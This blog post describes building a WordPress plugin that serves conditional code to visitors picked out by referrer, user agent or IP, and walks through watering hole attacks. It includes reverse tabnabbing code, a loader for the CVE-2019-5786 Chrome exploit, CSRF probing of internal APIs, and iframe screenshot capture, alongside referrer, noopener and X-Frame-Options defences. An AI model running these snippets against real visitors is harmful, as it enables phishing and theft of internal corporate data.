Press "Enter" to skip to content

Run a targeted watering hole attack with your WordPress Blog

By chance I found in my Google Analytics analysis that my blog was visited by Google employees. My blog must have been linked to their internal “Mentor” page, because the HTTP referrer shows the domain “”, which comes from Google’s intranet.

Google Analytics: Referrer reveals internal Google DNS.

A browser automatically sends the last visited page in the header field “Referer”. A tracking service, in this case Google Analytics, collects this information to create a user image.

My goal is to recognize these visitors and to address them specifically.

Say “Hello”

Development of a condition-based code injection plugin for WordPress

The question, how I can react to it now invited me to create a plugin for WordPress. The resulting plugin has the ability to define conditions. Only when these conditions are true a HTML code will be executed by the targeted user.

Application scenarios may be different. From the developer’s point of view, this would be interesting, for example, to see whether a visitor is using a Chromebook, for example, to deliver other HTML content specifically for this device. From a security point of view, this condition-based code injection can be used as a targeted watering hole attack, depending on the application.

There are different conditions, which can already be checked on the server side, in order to recognize a group target-oriented:

  • HTTP-Referrer (as mentioned above)
  • User-Agent
    • to detect targets operating system or device
  • IP-Address (or IP-Address Range by trunkating)
  • Reverse DNS Lookup by IP-Address
    • to detect governmental or university hostnames

You can use other Headers as well like the language which is set in the browser but these above are the most common.

In the future, visitors to the blog will be greeted with a message when they are redirected from the internal applications to my blog.

Measurements to protect exposing details by Referer-Header

This fact also leads directly to the question: “How can I prevent a referer from being sent along”. There are different measures for this. On the one hand, the following header could be set globally for all links from the called page.

<meta name="referrer" content="no-referrer"/>

This meta tag is understood by all modern browsers. Alternatively you have to add the attribute rel=”noreferrer” to every single link. Like this:

<a href="" rel="noreferrer">Click Me</a>

Such a referer policy can also be set globally in the web server (nginx, Apache). More about this in the HTML5 Cheatsheet from OWASP.

Let’s exploit!

Run different Attacks against a targeted group (water hole attack)

This fact occupied me, which malicious attacks theoretically could be driven now. I would like to deal with the following types of attacks:

  1. Reverse Tabnabbing
  2. Zero-day exploit against browser to perform memory access or code execution
  3. Cross-Site-Request-Forgery (CSRF) Requests to perform network sniffing
  4. Embed iframes of internal pages and record screenshots (X-Frame-Options)

1) Run Reverse Tabnabbing Attack

On the target page I could now definitely redirect the old original tab in the visitor’s browser to a phishing page, as the following code extract demonstrates.

   if (window.opener) {
      window.opener.location = "";

Reverse Tabnabbing Prevention

To protect against reverse tabnabbing, the attribute rel=”noopener” must be added to a direct link. CMS systems like WordPress already do this automatically for links.

<a href="" target="_blank" rel="noreferrer noopener">Click Me</a>

2) Run a crafted zero-day exploit

An example of this would be running FileReader CVE-2019-5786 Exploit in old Chrome browser versions. Using the user agent, this target group can be specified for the attack.

Next we try to perform out of bounds memory access with CVE-2019-5786. A useful code snippet for the Condition-Injection Plugin could look like this:

    function iter() {
        let iframe = null;

        try {
            iframe = document.getElementById('myframe');
        } catch (e) {}
        iframe = document.createElement('iframe');
        iframe.src = 'exploit.html'; // <= dont dead open inside = 'myframe';
    function brute() {
        let done = false;
        let interval = window.setInterval(iter, 10000);
        window.onmessage = function(e) {
            if ('SUCCESS')) {
                console.log('exploit succesful');

All the magic that happens takes place inside exploit.html 🙂

3) Perform Cross-Site-Request-Forgery Requests (CSRF) to access internal APIs

If one could identify a corporate network, such as that of Google, CSRF are of great importance. With lists like this, the internal network can be fuzzed for APIs. Simply send XHR calls. A prerequisite for this is that the CORS header in the internal applications is set too extensively. If calls go through, the content of the internal company application can be received by the attacker.

Allow URL * or just *

Furthermore, in the case of CSRF, if authentication is still performed using cookies, the requests will be in an authenticated context. And this is in the employee’s logged-in.

A powerful example of how important it is to secure internal business applications as well.

For this type of attack and also for the following, a list of internal subdomains is helpful:

4) Embed iframes and record screenshots

This following code example shows the use case to screenshot the content of, which is an url only accessible by authorized people.

<script src="" />
<script src="" />
<div id="my-node">
<iframe src="" id="myFrame"></iframe></div>
<button id="foo">download img</button>
var node = document.getElementById('my-node');
var btn = document.getElementById('foo');
btn.onclick = function() {
node.innerHTML = "I'm an image now."
    .then(function(blob) {
      window.saveAs(blob, 'my-node.png');
    .then(function(blob) {
      saveBlobAsFile(blob, "XX.png");
  // this function is to convert blob to base64 img
  function saveBlobAsFile(blob, fileName) {
    var reader = new FileReader();
    reader.onloadend = function() {
      var base64 = reader.result;
      var img = document.createElement("img");
      img.setAttribute("src", base64);
      // insert the img to dom

Such an attack is only possible if the following header is not set in the response:

X-Frame-Options: SAMEORIGIN

Detecting watering hole attacks

When there are not exactly noticeable activities taking place on an application, it is very difficult to recognize a compromised page. In general, the smaller the targeted group for the attack, the more difficult it is to identify a site as harmful.

While the detection of a Man-in-the-Middle (MitM) attack is quite well possible, there are only few suitable ways to detect a Watering hole attack. It realy depends how the conditions are made. Does the handling happens client-side it can be possible for security researchers to select out the targeted goup informations (like what happened with iOS Exploit chains 2019).

To overwrite the headers set by the browser I recommend the simple-modiy-headers add-on for Firefox. This is at least suitable for testing the headers set by the browser.

Preventing watering hole attacks

This is a very difficult undertaking which is difficult to implement in practice. It is not possible to prevent the attacks directly, but it is possible to detect them.

One idea would be to use a browser add-on to collect information, such as the content length and src attributes of various HTML elements, of a visited page and compare it with a large collection of data from other users.

If deviations are found, one could assume that the page delivered here is different.

And now practice real watering hole attacks.

In a nutshell: All important links

Leave a Reply

Your email address will not be published. Required fields are marked *